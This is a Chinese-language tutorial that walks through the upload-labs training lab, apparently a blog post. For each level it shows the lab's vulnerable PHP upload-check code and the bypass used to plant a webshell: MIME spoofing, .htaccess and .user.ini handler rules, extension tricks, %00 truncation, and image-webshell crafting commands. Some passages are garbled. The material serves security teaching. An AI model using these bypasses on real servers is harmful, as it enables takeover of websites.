文件上传漏洞
思维导图
原理
网站对上传点没有经过严格限制上传的文件后缀,及文件类型,导致攻击者可以上传任意脚本文件,脚本文件经过解析器解析,就可以在服务器上执行脚本文件内容。
文件上传常见验证:
后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME类型
信息文件头:内容头信息
简要上传表单代码分析解释
危害及高危点
危害
非法用户可以通过上传的恶意文件控制整个网站,甚至是整个服务器,这个恶意文件又称为webshell。上传webshell后门可以很方便的查看服务器信息,查看目录,执行系统命令等。
高危点
头像上传,相册上传,附件上传等一系列可以上传文件的地方。
PHP 文件上传函数:
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
substr() 函数返回字符串的一部分。
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
上传脚本
上传文件的代码:
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name,第二个下标可以是 “name”、“type”、“size”、“tmp_name” 或 “error”。如下所示:
-
- $_FILES["file"]["name"] - 上传文件的名称 - $_FILES["file"]["type"] - 上传文件的类型 - $_FILES["file"]["size"] - 上传文件的大小,以字节计 - $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称 - $_FILES["file"]["error"] - 由文件上传导致的错误代码
这是一种非常简单文件上传方式。基于安全方面的考虑,您应当增加有关允许哪些用户上传文件的限制。
验证辅助函数
1.deldot
即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。
2.in_array
is_array() 函数用于检测变量是否是一个数组。
语法:
bool is_array ( mixed $var ,array,type)
参数说明:
$var:要检测的变量。
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认)
返回值
如果检测的变量是数组,则返回 TRUE,否则返回 FALSE。
对于如下输入:
<?php
$arr_site = array('Google', 'Runoob', 'Facebook');
if(is_array($arr_site)){
echo '变量 $arr_site 是一个数组';
} else {
echo '变量 $arr_site 不是一个数组';
}
?>
3.strrchr
strrchr( $haystack, $needle)
strrchr函数在字符串$haystack中查找$needle,并将最后一次查找到的$needle及其后面的字符串返回。如果没有在该字符串中查找到$needle,则返回false。
例如:
$S = "hhhahahaha2333";
echo strrchr($S,'h')."\n";
结果
ha2333
4.strtolower
strtolower(string $string): string
将字符串$string中的各个英文字符转换为小写并返回。
5.str_ireplace
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
实例
把字符串 “Hello world!” 中的字符 “WORLD”(不区分大小写)替换成 “Peter”:
<?php
echo str_ireplace("WORLD","Peter","Hello world!");
?>
//第一个参数$search为需要替换的内容(子串或数组),第二个参数$replace为替换成的内容(字符串或数组),第三个参数$subject为被替换的字符串。
6.getimagesize 函数
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
获取图像信息
upload-labs通关手册
黑名单/白名单
第一关
JavaScript前端绕过
前端绕过的三种方法:
- 按F12审计元素,将上传校验的js代码删除
- 先修改成js允许的格式,然后通过抓包软件抓包,再修改成脚本文件后缀。
- 创建一个文件提交表单,将文件提交给目标网站地址。
源代码
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
可以新建一个html文件,将第一关靶机代码进行复制。
删除验证部分的代码。
抓取靶机上传位置的url
在from表单中添加上,提交位置
访问地址上传成功了
方式2
只要后缀的验证抓包修改后缀即可
创建php.png文件里面写入内容,然后上传burp抓包将php.png修改为php.php,再把数据包发送,最后在浏览器中右击复制文件地址
第二关
MIME类型
基本概念:
这一关验证文件类型,只允许上传文件类型为image/jpeg,image/png,image/gif,我们可以先上传php文件随后将文件类型(Content-Type)修改为image/png即可。
源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
第二关有两种绕过方式
- 将后缀名修改为符合要求的后缀名然后发送,在burp中将后缀修改为php
- 以后缀名为PHP直接发送,在浏览器中修改MIME类型为
image/jpeg
实操
点击上传文件,选择php文件,使用burp进行抓包,修改Content-Type为image/png。
第三关
后缀解析绕过
基本概念:
这一关属于黑名单绕过,不允许上传asp,aspx,php,jsp文件,不过我们可以上传其他文件。但可以上传特殊后缀"
.php5",“.php4”,“.php3”,“.php2”,“.php1”,“.html”,“.htm”,“.phtml”,“.pht”,“.jsp”,“.jspa”,“.jspx”,“.jsw”,“.jsv”,“.jspf”,“.jtml”,“.asp”,“.aspx”,“.asa”,“.asax”,“.ascx”,“.ashx”,“.asmx”,“.cer”,“.sWf”,“.swf”,“.ini”
这种格式绕过通关大小写的方式绕过,但是前提在http.conf 中开启 application/x-httpd-php并且在AddType application/x-httpd-php后面添加解析的后缀名例如:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这句话可以解析这种后缀在执行
不然的话即使能上传上去也不能正常解析执行,因为服务器不知道这个是什么执行。
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
修改后缀:
复制图像链接,访问,也可以使用蚁剑进行连接
第四关
.htaccess重写解析绕过上传
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
发现过滤了一大堆的后缀名称但是没有过滤.htacces文件,所以考核的是htaccess文件绕过。
基本概念:
.htaccess文件是什么
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。。
.htaccess文件有什么作用
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件内容
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将jpg结尾的的文件以php脚本方式运行
或者
SetHandler application/x-httpd-php //意思是把所有文件都解析成php文件来执行。
AddType application/x-http-php .jpg //这个指令代表jpg文件当成php文件解析
利用方法
首先上传.htaccess文件,然后上传其他后缀的文件,这个文件的后缀是根据.htaccess文件是怎么写的。首先上传.htaccess文件,然后上传其他后缀的文件,这个文件的后缀是根据.htaccess文件是怎么写的。
实操
1.首先创建.htaccess文件,上传.htaccess 文件
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
2.在上传一张图片格式jpg中包含PHP代码的文件。
访问图片位置
第五关
.user.ini
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
不允许上传.htaccess文件了,不过没有过滤.user.ini文件,我们可以上传.user.ini文件。
基本概念:
.user.ini文件是什么
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置
使用条件
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini与.htaccess文件的区别
优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
内容:auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell
实操
首先上传一个.user.ini文件,文件内容为:
auto_propend_file=1.png //所有的php文件都自动包含1.png这个文件
随后上传webshell,不过需要将名称改为1.png
第六关
大小写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
基本概念:
比上面的文件发现少了一行转换为小写的代码,对此我们可以采用大小写绕过,但是由于Linux是大小写敏感上传的文件不能被正常的执行,在windows上是可以正常的执行。
实操
直接上传webshell在burp中修改文件后缀
第七关
空格绕过
后端有时候可能把恶意脚本的后缀过滤了,但是没有将首尾的空格过滤,这个时候我们可以采用空格进行绕过
源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在这段代码中,发现strtolower()转换小写加上了,但是首位去空的代码去掉了,所以我们可以使用空格绕过。
为什么能用空格来绕过呢,因为数组中没有php空,而在windows中在文件后缀后面添加空格,对文件本身来说没有影响,就算你添加了空格,也没用,这是windows的一个特性之一。
实操
直接上传文件,在burp中在文件后缀后添加空格
第八关
(点绕过)
代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比上一个代码发现少了 file_name = deldot(filename=deldot(file_name);这一行,这一行的作用是删除末尾的点,这也是利用windwos的特性,我们直接上传php文件,然后在burp中在文件名末尾添加一个点即可绕过。
实操
上传文件
第九关
::$DATA绕过
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关也是利用windows的特性绕过。对比代码我们可以发现少了file_ext = str_ireplace('::fileext=strireplace(′::DATA’, ‘’, file_ext);
//去除字符串::fileext);//去除字符串
::DATA。
在php+windows的情况下,如果文件名+::DATA会把::DATA会把::DATA之后的数据当成文件数据流处理,不会检测后缀名且保持::$DATA之前的文件名称。
实操
还是直接上传文件,在文件名称末尾添加::$DATA即可
第十关
(叠加特征绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
此关有两种上传方式,一种利用 windows 环境的叠加特征绕过上传,一种构建文件后缀绕过
实操
第一种方法
首先上传php文件,在php的后缀加上:.jpg,,例如webshell.php:.jpg,此时会在上传目录创建一个webshell.php的一个空白文件,随后在burp的重放模块中将webshell.php:.jpg修改为webshell.>>>然后在上传
修改文件名称为文件名.>>>
第二种
后缀名+空格的形式去绕过
,注意:虽然能绕过上传但是并不会被服务器解析执行这是由于Linux系统特性,他不会像windows那样将文件后面的的空格给强制取消。
第十一关
(双写绕过)
后端有时候会把php,jsp,asp等恶意的后缀名将其过滤为空,例如php函数str_ireplace(),这个时候我们可以考虑用双写后缀。
利用方法
将后缀名双写
例如:
phphpp,
代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);//对上传的后缀名是黑名单内的字符串转换成空。
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关我们可以使用双写后缀绕过。
这里的代码对文件名进行修改为old.pphphp
在线工具当中可以看到函数是直接将old.pphphp
解析为了php后缀
实操
burp抓包,然后将后缀修改为.pphphp[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ce09O3ES-1680057741286)(16-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.assets/1627552092280-bbab028d-028f-4ff9-9b03-d1613263965d.png)]
第十二关
get%00截断
使用%00截断,需要两个条件
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
代码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
从代码中可以看到只允许上传’jpg’,‘png’,‘gif’,文件,上传其他后缀文件会提示"只允许上传.jpg|.png|.gif类型文件!",同时file_ext会截取文件的后缀名与fileext会截取文件的后缀名与ext_arr进行对比,此时我们没办法进行上传php文件。
$_GET[‘save_path’]接受save_path参数,这个参数我们可以更改,所以我们可以用%00进行阶段。
实操
上传php文件,修改以下两点
第十三关
post %00截断
使用get接受参数,这一关使用post接收参数。
此时不能再直接使用 %00 截断,原因是 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,我们需要手动进行解码。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
实操
与上一关一致,我们需要改两点
同时要选中%00右键选择convert selection–url–urldecode进行解码,随后点击发送
第十四关
图片马检测
需要结合文件包含漏洞运行图片马中的恶意代码。
代码分析
function getReailFileType($filename){
$file = fopen($filename, "rb"); //以只读方式打开文件
$bin = fread($file, 2); //读取文件,只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin); //从二进制字符串对数据进行解包:
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //用于获取变量的整数值
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
首先
1.shell.php编写后门代码,不要乱写东西会没
Linux系统
首先在桌面上创建file1.txt并在里面写入一句话木马,下载file2.jpg,
然后,打开终端,cd 到desktop
将file1.txt追加到file2.jpg后面的方法:
cat file1.txt >> file2.jpg
若要将两个文件合并成第三个文件,而不是追加,那么用命令:
cat file1.txt file2.jpg >> file3.jpg
制作图片马windows:
copy 2.png /b + shell.php /a 1.jpg
copy 1.png /b + shell.php /a webshell.jpg
意思是将shell.php中的代码追加到1.png中并重新生成一个叫webshell.php的代码。
2.进入文件包含漏洞界面
使用包含漏洞包含上传的文件
将刚才上传的图片作为参数发送给服务器。然后获取到webshell
第十五关
图片马绕过
与上一关一样
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
多了一个getimagesize() 函数判断是不是图像。
第十六关
(图片马绕过)
代码分析
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
一样可以使用图片码进行绕过。
注意:需要在php.ini开启php_exif模块
exif_imagetype($filename);
实操
与上一关一致
第十七关
二次渲染绕过
- 什么是二次渲染
目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作(如PHP中的imagecreatefromjpeg()
等函数),所以普通的图片马都难逃被渲染的悲剧。
代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
从代码中可以看出这一关的一个基本流程,首先判断文件后缀及文件名称是否符合,如果符合将文件移动到指定目录下,随后生成新的图片,但是这个地方存在一个逻辑漏洞,可以使用条件竞争,但是这一关不是考核条件竞争的,所以先不管,随后生成新的图片,但是这个图片是经过二次渲染的。 二次渲染后在保存,体积可能会更小,图片会模糊一些 ,如果里面包含后门代码,可能后门代码会被被清除。
这一关使用gif文件,因为gif文件经过二次渲染之后,与原文件差别不会太大。
实操
生成gif文件后门
Web应用编辑器上传
有些网站会利用编辑器,且这个编辑器有上传功能,然后就干编辑器就好了。
首先将gif文件上传到服务器,随后将上传的gif文件下载下来,将下载下来的gif文件与原文件使用二进制编辑软件进行对比,在两个文件相同的地方插入php代码即可。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9wdzpv7M-1680057741289)(16-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.assets/upload-labs17-2.png)]
随后上传文件
第十八关
条件竞争
